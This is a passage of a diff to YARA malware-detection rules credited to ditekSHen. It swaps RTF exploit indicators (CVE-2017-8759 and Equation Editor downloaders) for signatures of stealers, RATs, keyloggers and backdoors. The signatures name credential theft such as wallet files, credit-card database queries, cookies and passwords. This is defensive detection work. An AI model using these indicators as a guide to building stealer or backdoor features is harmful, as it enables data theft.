41 0a 41 0a - 30 0a 30 0a 34 0a 42 0a 41 0a 39 0a 30 0a 42 } - $urlmoniker4 = { 45 0d 0a 30 0d 0a 43 0d 0a 39 0d 0a 45 0d 0a 41 - 0d 0a 37 0d 0a 39 0d 0a 46 0d 0a 39 0d 0a 42 0d - 0a 41 0d 0a 43 0d 0a 45 0d 0a 31 0d 0a 31 0d 0a - 38 0d 0a 43 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30 - 0d 0a 41 0d 0a 41 0d 0a 30 0d 0a 30 0d 0a 34 0d - 0a 42 0d 0a 41 0d 0a 39 0d 0a 30 0d 0a 42 } - $urlmoniker6 = { 65 0a 30 0a 63 0a 39 0a 65 0a 61 0a 37 0a 39 0a - 66 0a 39 0a 62 0a 61 0a 63 0a 65 0a 31 0a 31 0a - 38 0a 63 0a 38 0a 32 0a 30 0a 30 0a 61 0a 61 0a - 30 0a 30 0a 34 0a 62 0a 61 0a 39 0a 30 0a 62 } - $urlmoniker7 = { 65 0d 0a 30 0d 0a 63 0d 0a 39 0d 0a 65 0d 0a 61 - 0d 0a 37 0d 0a 39 0d 0a 66 0d 0a 39 0d 0a 62 0d - 0a 61 0d 0a 63 0d 0a 65 0d 0a 31 0d 0a 31 0d 0a - 38 0d 0a 63 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30 - 0d 0a 61 0d 0a 61 0d 0a 30 0d 0a 30 0d 0a 34 0d - 0a 62 0d 0a 61 0d 0a 39 0d 0a 30 0d 0a 62 } - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" ascii nocase - $ole5 = { 64 0a 30 0a 63 0a 66 0a 31 0a 31 0a 65 0a 30 } - $ole6 = { 64 0d 0a 30 0d 0a 63 0d 0a 66 0d 0a 31 0d 0a 31 0d 0a 65 0d 0a 30 } - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii + $s1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide + $s2 = "/c taskkill /im " fullword ascii + $s3 = "card_number_encrypted FROM credit_cards" ascii + $s4 = "\\wallet.dat" ascii + $s5 = "Arkei/" wide + $s6 = "files\\passwords." ascii wide + $s7 = "files\\cc_" ascii wide + $s8 = "files\\autofill_" ascii wide + $s9 = "files\\cookies_" ascii wide condition: - uint32( 0 ) == 0x74725c7b and 1 of ( $urlmoniker* ) and 1 of ( $ole* ) and 1 of ( $obj* ) + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_1 : CVE_2017_8759 FILE +rule DITEKSHEN_MALWARE_Win_Obliquerat : FILE { meta: - description = "detects CVE-2017-8759 weaponized RTF documents." + description = "ObliqueRAT payload" author = "ditekSHen" - id = "8f873145-b909-5185-9f85-07c820d1f38e" + id = "5a184299-6c16-56b3-88da-37435fbfcde5" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L215-L238" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L294-L314" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "595dc0153a2349fbd4f92dd544a3dfd05715059dd639653e7c7e6ac80624360e" + logic_hash = "0b8bbf031364b828a972c52e1a8985ff65601ca7413e6e7ae3a5be981f086b9e" score = 75 - quality = 75 - tags = "CVE-2017-8759, FILE" + quality = 25 + tags = "FILE" strings: - $clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 } - $clsid2 = { 00 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 } - $clsid3 = "0003000000000000c000000000000046" ascii nocase - $clsid4 = "4f4c45324c696e6b" ascii nocase - $clsid5 = "OLE2Link" ascii nocase - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" - $s1 = "wsdl=http" wide - $s2 = "METAFILEPICT" ascii - $s3 = "INCLUDEPICTURE \"http" ascii - $s4 = "!This program cannot be run in DOS mode" ascii + $s1 = "C:\\ProgramData\\auto.txt" fullword ascii + $s2 = "C:\\ProgramData\\System\\Dump\\" fullword ascii + $s3 = "C:\\ProgramData\\a.txt" fullword ascii + $s4 = "Oblique" fullword ascii + $s5 = /(Removable|Hard|Network|CD|RAM)\sDisk\|/ ascii + $s6 = "backed" fullword ascii + $s7 = "restart" fullword ascii + $s8 = "kill" fullword ascii + $s9 = /(John|JOHN|Test|TEST|Johsnson|Artifact|Vince|Serena|Lisa|JOHNSON|VINCE|SERENA)/ ascii nocase + $v1 = "C:\\ProgramData" fullword ascii + $v2 = "auto" fullword ascii + $v3 = "plit" fullword ascii + $v4 = ":image/jpeg" fullword wide condition: - uint32( 0 ) == 0x74725c7b and 1 of ( $clsid* ) and 1 of ( $ole* ) and 2 of ( $s* ) + uint16( 0 ) == 0x5a4d and 8 of them } -rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 : CVE_2017_8759 FILE +rule DITEKSHEN_MALWARE_Win_Firebirdrat : FILE { meta: - description = "detects CVE-2017-8759 weaponized RTF documents." + description = "Firebird/Hive RAT payload" author = "ditekSHen" - id = "92c8f45e-3792-51b3-bda4-7e9eae0e9a80" + id = "456ae70e-8004-5fb0-a4fd-ce7c0f4704f9" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L240-L268" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L316-L339" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "15c9a5cfce5d1a797bab049352d8506b8bc112cabe2f510019f5d203690419e8" - score = 40 - quality = 25 - tags = "CVE-2017-8759, FILE" + logic_hash = "1c24e924171db1b99a3b03764f4551b6f4b6b1c9c6147b49dbc0651e85e9040c" + score = 75 + quality = 73 + tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Firebird-HiveRAT" strings: - $clsid1 = { 88 d9 6a 0c f1 92 11 d4 a6 5f 00 40 96 32 51 e5 } - $clsid2 = "88d96a0cf19211d4a65f0040963251e5" ascii nocase - $clsid3 = "4d73786d6c322e534158584d4c5265616465722e" ascii nocase - $clsid4 = "Msxml2.SAXXMLReader." ascii nocase - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\objclass htmlfile" ascii - $soap1 = "c7b0abec197fd211978e0000f8757e" ascii nocase + $id1 = "Firebird Remote Administration Tool" fullword wide + $id2 = "Welcome to Firebird! Your system is currently being monitored" wide + $id3 = "Hive Remote Administration Tool" fullword wide + $id4 = "Welcome to Hive! Your system is currently being monitored" wide + $s1 = "REPLACETHESEKEYSTROKES" fullword wide + $s2 = "_ENABLE_PROFILING" fullword wide + $s3 = ": KeylogSubject" wide + $s4 = "Firebird.CommandHandler" fullword wide + $s5 = "webcamenabled" fullword ascii + $s6 = "screenlogs" fullword ascii + $s7 = "encryptedconnection" fullword ascii + $s8 = "monitoron" fullword ascii + $s9 = "screenGrab" fullword ascii + $s10 = "TCP_TABLE_OWNER_PID_ALL" fullword ascii + $s11 = "de4fuckyou" fullword ascii condition: - uint32( 0 ) == 0x74725c7b and 1 of ( $clsid* ) and 1 of ( $ole* ) and ( 2 of ( $obj* ) or 1 of ( $soap* ) ) + uint16( 0 ) == 0x5a4d and ( 1 of ( $id* ) or 7 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_RTF_Exploit_Scripting : CVE_2017_8759 CVE_2017_8570 FILE +rule DITEKSHEN_MALWARE_Win_Phoenix : FILE { meta: - description = "detects CVE-2017-8759 or CVE-2017-8570 weaponized RTF documents." + description = "Phoenix/404KeyLogger keylogger payload" author = "ditekSHen" - id = "e8fd1231-3ef5-5b0b-987c-f55337804da3" + id = "62101881-9b5e-586d-8e1b-184787f25d6b" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L270-L302" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L341-L367" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a1f4c833f0132dcbe2b3677d6ac0f3597c152702515375d60d4332c21183bd76" + logic_hash = "b2c2a4ffc36d708a121853fb0268e6dc85b3fe2cd58e05c8124cbef18e03ec0b" score = 75 quality = 75 - tags = "CVE-2017-8759, CVE-2017-8570, FILE" + tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Phoenix-Keylogger" strings: - $clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 } - $clsid2 = "0003000000000000c000000000000046" ascii nocase - $clsid3 = "4f4c45324c696e6b" ascii nocase - $clsid4 = "OLE2Link" ascii nocase - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" - $ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 } - $ole6 = "D0cf11E" ascii nocase - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii - $obj8 = "\\objclass htmlfile" ascii - $sct1 = { 33 (43|63) (3533|3733) (3433|3633) (3532|3732) (3439|3639)( 3530|3730) (3534|3734) (3443|3643) (3435|3635) (3534|3734) } - $sct2 = { (3737|3537) (3733|3533) (3633|3433) (3732|3532) (3639|3439) (3730|3530) (3734|3534) (3245|3265) (3733|3533) (3638|3438) (3635|3435) (3643|3443) (3643|3443) } + $s1 = "FirefoxPassReader" fullword ascii + $s2 = "StartKeylogger" fullword ascii + $s3 = "CRYPTPROTECT_" ascii + $s4 = "Chrome_Killer" fullword ascii + $s5 = "Clipboardlog.txt" fullword wide + $s6 = "Leyboardlogs.txt" fullword wide + $s7 = "Persistence'" wide + $s8 = "set_HKB" fullword ascii + $s9 = "loloa" fullword ascii + $s10 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)" fullword wide + $m1 = "- Screenshot -------|" ascii wide + $m2 = "- Clipboard -------|" ascii wide + $m3 = "- Logs -------|" ascii wide + $m4 = "- Passwords -------|" ascii wide + $m5 = "PSWD" ascii wide + $m6 = "Screenshot |" ascii wide + $m7 = "Logs |" ascii wide condition: - uint32( 0 ) == 0x74725c7b and 1 of ( $clsid* ) and 1 of ( $ole* ) and 1 of ( $obj* ) and 1 of ( $sct* ) + ( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) or 3 of ( $m* ) ) or 9 of them } -rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Sheetmacroenabled : FILE +rule DITEKSHEN_MALWARE_Win_Backnet : FILE { meta: - description = "Detects RTF documents embedding an Excel sheet with macros enabled. Observed in exploit followed by dropper behavior" + description = "BackNet payload" author = "ditekSHen" - id = "342d10b3-61d2-5fcb-8f4f-1fe45049257b" + id = "c53ef72f-4957-5ddb-b096-dcdb69cf900d" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L304-L328" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L369-L386" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "cc3b52e549c2697c6e0a2fea365d193311d90d26854bd2fe321aa26c118975a0" + logic_hash = "c276f2b809caad680455fc4ca0a021887d4ff2c9114f05737542a1d3c5cca848" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.BackNet" strings: - $ex1 = "457863656c2e53686565744d6163726f456e61626c65642e" ascii nocase - $ex2 = "0002083200000000c000000000000046" ascii nocase - $ex3 = "Excel.SheetMacroEnabled." ascii - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii + $s1 = "Slave.Commands." fullword ascii + $s2 = "StartKeylogger" fullword ascii + $s3 = "StopKeylogger" fullword ascii + $s4 = "KeyLoggerCommand" fullword ascii + $s5 = "get_keyLoggerManager" fullword ascii + $s6 = "get_IgnoreMutex" fullword ascii + $s7 = "ListProcesses" fullword ascii + $s8 = "downloadurl" fullword wide + $pdb = "\\BackNet-master\\Slave\\obj\\Release\\Slave.pdb" ascii condition: - uint32( 0 ) == 0x74725c7b and ( 1 of ( $ex* ) and 1 of ( $ole* ) and 2 of ( $obj* ) ) + uint16( 0 ) == 0x5a4d and ( $pdb or all of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Metadatacmd : FILE +rule DITEKSHEN_MALWARE_Win_Acridrain : FILE { meta: - description = "Detects OLE documents with Windows command-line utilities commands (certutil, powershell, etc.) stored in the metadata (author, last modified by, etc.)." + description = "AcidRain stealer payload" author = "ditekSHen" - id = "63b23630-b344-5fba-95f4-950d072beaff" + id = "9890c9e0-ce53-5f08-9077-c73a9e4ba29c" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L330-L349" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L388-L401" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "0562d026a1ad4510310ebff5da154064f92afc7bf714973f7de362435476772c" + logic_hash = "11884073f4bf466503b07f297ae7fad188f79df148fcc7ca48827c7dbd07e211" score = 75 quality = 75 tags = "FILE" strings: - $cmd1 = { 00 1E 00 00 00 [1-4] 00 00 (63|43) (6D|4D) (64|44) (00|20) } - $cmd2 = { 00 1E 00 00 00 [1-4] 00 00 (6D|4D) (73|53) (68|48) (74|54) (61|41) (00|20) } - $cmd3 = { 00 1E 00 00 00 [1-4] 00 00 (77|57) (73|53) (63|43) (72|52) (69|49) (70|50) (74|54) (00|20) } - $cmd4 = { 00 1E 00 00 00 [1-4] 00 00 (63|42) (65|45) (72|52) (74|54) (75|55) (74|54) (69|49) (6C|4C) (00|20) } - $cmd5 = { 00 1E 00 00 00 [1-4] 00 00 (70|50) (6F|4F) (77|57) (65|45) (72|52) (73|43) (68|48) (65|45) (6C|4C) (6C|4C) (00|20) } - $cmd6 = { 00 1E 00 00 00 [1-4] 00 00 (6E|4E) (65|45) (74|54) 2E (77|57) (65|45) (62|42) (63|43) (6C|4C) (69|49) (65|45) (6E|4E) (74|54) (00|20) } + $s1 = { 43 6f 6f 6b 69 65 73 (5c|2e) } + $s2 = { 74 65 6d 70 6c 6f 67 69 ?? } + $s3 = { 74 65 6d 70 50 ?? 68 } + $s4 = "Connecting to hostname: %s%s%s" fullword ascii + $s5 = "Found bundle for host %s: %p [%s]" fullword ascii + $s6 = "encryptedUsernamencryptedPassworERROR Don't copy string" fullword ascii condition: - uint16( 0 ) == 0xcfd0 and any of them + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_RTF_Equation_Bitsadmin_Downloader : FILE +rule DITEKSHEN_MALWARE_Linux_Chachaddos : FILE { meta: - description = "Detects RTF documents that references both Microsoft Equation Editor and BITSAdmin. Common exploit + dropper behavior." + description = "ChaChaDDoS variant of XorDDoS payload" author = "ditekSHen" - id = "e96a6f18-9a5e-58ca-829e-c82b444ad403" + id = "78a5cf3a-0e84-59bd-a936-bd335647e3d0" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L428-L451" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L403-L418" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "39a07a0af243e929a6b3df48b6cf8a9d30bc8ef9e7deac494348945427b015e7" + logic_hash = "2bf99771046650820f02a24d5bd825afeacd03d1e865b05d8563a3ef74d521fb" score = 75 quality = 75 tags = "FILE" - snort2_sid = "910002-910003" - snort3_sid = "910001" - clamav_sig = "INDICATOR.RTF.EquationBITSAdminDownloader" strings: - $eq = "0200000002CE020000000000C000000000000046" ascii nocase - $ba = "6269747361646d696e" ascii nocase - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii + $x1 = "[kworker/1:1]" ascii + $x2 = "-- LuaSocket toolkit." ascii + $x3 = "/etc/resolv.conf" ascii + $x4 = "\"macaddress=\" .. DEVICE_MAC .. \"&device=\" .." ascii + $x5 = "easy_attack_dns" ascii + $x6 = "easy_attack_udp" ascii + $x7 = "easy_attack_syn" ascii + $x8 = "syn_probe" ascii condition: - uint32( 0 ) == 0x74725c7b and ( ( $eq and $ba ) and 1 of ( $obj* ) ) + uint16( 0 ) == 0x457f and 6 of them } -rule DITEKSHEN_INDICATOR_RTF_Equation_Certutil_Downloader : FILE +rule DITEKSHEN_MALWARE_Multi_Exaramel : FILE { meta: - description = "Detects RTF documents that references both Microsoft Equation Editor and CertUtil. Common exploit + dropper behavior." + description = "Exaramel Windows/Linux backdoor payload" author = "ditekSHen" - id = "a47f31f9-91fc-5009-8aff-2b9e334c3139" + id = "014f10f3-4502-5719-93f6-4b2940f53876" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L453-L476" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L420-L459" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "d6c62957ce40ed755a84bd9aa8900e4990c466097d6df55c539b289bf50fe94e" + logic_hash = "e64383304bc913b07a2e63d61c81354b996c01171357005f4a28957d4d889599" score = 75 - quality = 75 + quality = 73 tags = "FILE" - snort2_sid = "910006-910007" - snort3_sid = "910003" - clamav_sig = "INDICATOR.RTF.EquationCertUtilDownloader" + clamav_sig1 = "MALWARE_Linux.Backdoor.Exaramel" + clamav_sig2 = "MALWARE_Win.Backdoor.Exaramel" strings: - $eq = "0200000002CE020000000000C000000000000046" ascii nocase - $cu = "636572747574696c" ascii nocase - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii + $s1 = "vendor/golang_org/x/crypto/" ascii + $s2 = "vendor/golang_org/x/net/http2" ascii + $s3 = "vendor/golang_org/x/text/unicode" ascii + $s4 = "vendor/golang_org/x/text/transform" ascii + $s5 = "config.json" ascii + $cmd1 = "App.Update" ascii + $cmd2 = "App.Delete" ascii + $cmd3 = "App.SetProxy" ascii + $cmd4 = "App.SetServer" ascii + $cmd5 = "App.SetTimeout" ascii + $cmd6 = "IO.WriteFile" ascii + $cmd7 = "IO.ReadFile" ascii + $cmd8 = "OS.ShellExecute" ascii + $cmd9 = "awk 'match($0, /(upstart|systemd|sysvinit)/){ print substr($0, RSTART, RLENGTH);exit;" ascii + $ws1 = "/commands/@slp" wide + $ws2 = "/commands/cmd" wide + $ws3 = "/settings/proxy/@password" wide + $ws4 = "/settings/servers/server[@current='true']" wide + $ws5 = "/settings/servers/server/@current[text()='true']" wide + $ws6 = "/settings/servers/server[text()='%s']/@current" wide + $ws7 = "/settings/servers/server[%d]" wide + $ws8 = "/settings/storage" wide + $ws9 = "/settings/check" wide + $ws10 = "/settings/interval" wide + $ws11 = "report.txt" wide + $ws12 = "stg%02d.cab" ascii + $ws13 = "urlmon.dll" ascii + $ws14 = "ReportDir" ascii condition: - uint32( 0 ) == 0x74725c7b and ( ( $eq and $cu ) and 1 of ( $obj* ) ) + ( uint16( 0 ) == 0x457f and ( all of ( $s* ) and 6 of ( $cmd* ) ) ) or ( uint16( 0 ) == 0x5a4d and 12 of ( $ws* ) ) } -rule DITEKSHEN_INDICATOR_RTF_Equation_Powershell_Downloader : FILE +rule DITEKSHEN_MALWARE_Linux_Hiddenwasp : FILE { meta: - description = "Detects RTF documents that references both Microsoft Equation Editor and PowerShell. Common exploit + dropper behavior." + description = "HiddenWasp backdoor payload" author = "ditekSHen" - id = "5d1d65ef-e183-5a0d-a0fa-d0d5f09f21a1" + id = "220e5e6e-7c5c-5f70-b3eb-50d9c5ec636d" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L478-L501" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L461-L486" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "0b8b9b7b40f8b4d659de9e025a65d5c6b64c6066bb618a3e7ed3c318f70befe5" + logic_hash = "a2aad022de41ba2633fc92a7dc5a5fa2efde9da2211cfc01fb2999e33365d6c9" score = 75 - quality = 75 + quality = 71 tags = "FILE" - snort2_sid = "910004-910005" - snort3_sid = "910002" - clamav_sig = "INDICATOR.RTF.EquationPowerShellDownloader" + clamav_sig1 = "MALWARE_Linux.Trojan.HiddenWasp-ELF" + clamav_sig2 = "MALWARE_Linux.Trojan.HiddenWasp-Script" strings: - $eq = "0200000002CE020000000000C000000000000046" ascii nocase - $ps = "706f7765727368656c6c" ascii nocase - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $obj7 = "\\mmath" ascii + $x1 = "I_AM_HIDDEN" fullword ascii + $x2 = "HIDE_THIS_SHELL" fullword ascii + $x3 = "NewUploadFile" ascii + $x4 = "fake_processname" ascii + $x5 = "swapPayload" ascii + $x6 = /Trojan-(Platform|Machine|Hostname|OSersion)/ fullword ascii + $s1 = "FileOpration::GetFileData" fullword ascii + $s2 = "FileOpration::NewUploadFile" fullword ascii + $s3 = "Connection::writeBlock" fullword ascii + $s4 = /hiding_(hidefile|enable_logging|hideproc|makeroot)/ fullword ascii + $s5 = "Reverse-Port" fullword ascii + $s6 = "hidden_services" fullword ascii + $s7 = "check_config" fullword ascii + $s8 = "__data_start" fullword ascii + $s9 = /patch_(suger_lib|ld|lib)/ fullword ascii + $s10 = "hexdump -ve '1/1 \"%%.2X\"' %s | sed \"s/%s/%s/g\" | xxd -r -p > %s.tmp" condition: - uint32( 0 ) == 0x74725c7b and ( ( $ps and $eq ) and 1 of ( $obj* ) ) + uint16( 0 ) == 0x457f and ( 4 of ( $x* ) or all of ( $s* ) or ( 3 of ( $x* ) and 5 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_RTF_LNK_Shell_Explorer_Execution : FILE +rule DITEKSHEN_MALWARE_Multi_Wellmess : FILE { meta: - description = "detects RTF files with Shell.Explorer.1 OLE objects with embedded LNK files referencing an executable." + description = "WellMess Windows/Linux backdoor payload" author = "ditekSHen" - id = "2cac4dd8-086a-5220-a658-94cedd9cf7c3" + id = "cfa0f077-9d45-5796-b888-66fb397e74f8" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L503-L517" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L488-L510" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "4c11a37425e260692e11dc8fca317611106245d1590081a7038036ad568702f8" + logic_hash = "9cbbca609fd289d7406d9073237688d250dc68c450676b9b755509540d8f76a5" score = 75 quality = 75 tags = "FILE" + clamav_sig1 = "MALWARE_Win.Trojan.WellMess_DotNet" + clamav_sig2 = "MALWARE_Win.Trojan.WellMess_Golang" + clamav_sig3 = "MALWARE_Linux.Trojan.WellMess_Golang" strings: - $clsid = "c32ab2eac130cf11a7eb0000c05bae0b" ascii nocase - $lnk_header = "4c00000001140200" ascii nocase - $http_url = "6800740074007000" ascii nocase - $file_url = "660069006c0065003a" ascii nocase + $s1 = "-----BEGIN PUBLIC KEY-----" ascii + $s2 = "-----END PUBLIC KEY-----" ascii + $s3 = "net/http.(*persistConn).readResponse" ascii + $s4 = "net/http/cookiejar.(*Jar).SetCookies" ascii + $s5 = "_/home/ubuntu/GoProject/src/bot/botlib" ascii + $s6 = "<;head;><;title;>" ascii + $s7 = "<;title;><;service;>" ascii + $s8 = "http://invalidlookup" ascii + $s9 = "<autogenerated>" ascii wide condition: - uint32( 0 ) == 0x74725c7b and filesize < 1500KB and $clsid and $lnk_header and ( $http_url or $file_url ) + ( uint16( 0 ) == 0x457f or uint16( 0 ) == 0x5a4d ) and all of them } -rule DITEKSHEN_INDICATOR_RTF_Forms_HTML_Execution : FILE +rule DITEKSHEN_MALWARE_Win_Konni : FILE { meta: - description = "detects RTF files with Forms.HTML:Image.1 or Forms.HTML:Submitbutton.1 OLE objects referencing file or HTTP URLs." + description = "Konni payload" author = "ditekSHen" - id = "26b21c94-9192-53be-808b-b553f87769e1" + id = "86eae9f6-60b0-5720-8528-ddbe32b6d4a6" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L519-L533" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L512-L530" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "5e8a2072971c40d6fbc0e0265a9adfbe4faa04d0f3c6962fda443da33aa06906" + logic_hash = "d57c51f7ede28b74395e5e0fbcc5fd9247b3353330f3e549d5abf99bbd7a1b93" score = 75 quality = 75 tags = "FILE" strings: - $img_clsid = "12d11255c65ccf118d6700aa00bdce1d" ascii nocase - $sub_clsid = "10d11255c65ccf118d6700aa00bdce1d" ascii nocase - $http_url = "6800740074007000" ascii nocase - $file_url = "660069006c0065003a" ascii nocase + $s1 = "uplog.tmp" fullword wide + $s2 = "upfile.tmp" fullword wide + $s3 = "%s-log-%s" fullword ascii wide + $s4 = "%s-down" ascii wide + $s5 = "%s-file-%s" fullword ascii wide + $s6 = "\"rundll32.exe\" \"%s\" install" fullword wide + $s7 = "subject=%s&data=" fullword ascii + $s8 = "dll-x64.dll" fullword ascii + $s9 = "dll-x32.dll" fullword ascii + $pdb1 = "\\virus-dropper\\Release\\virus-dropper.pdb" ascii + $pdb2 = "\\virus-init\\Release\\virus-init.pdb" ascii + + condition: + uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $pdb* ) ) ) +} +rule 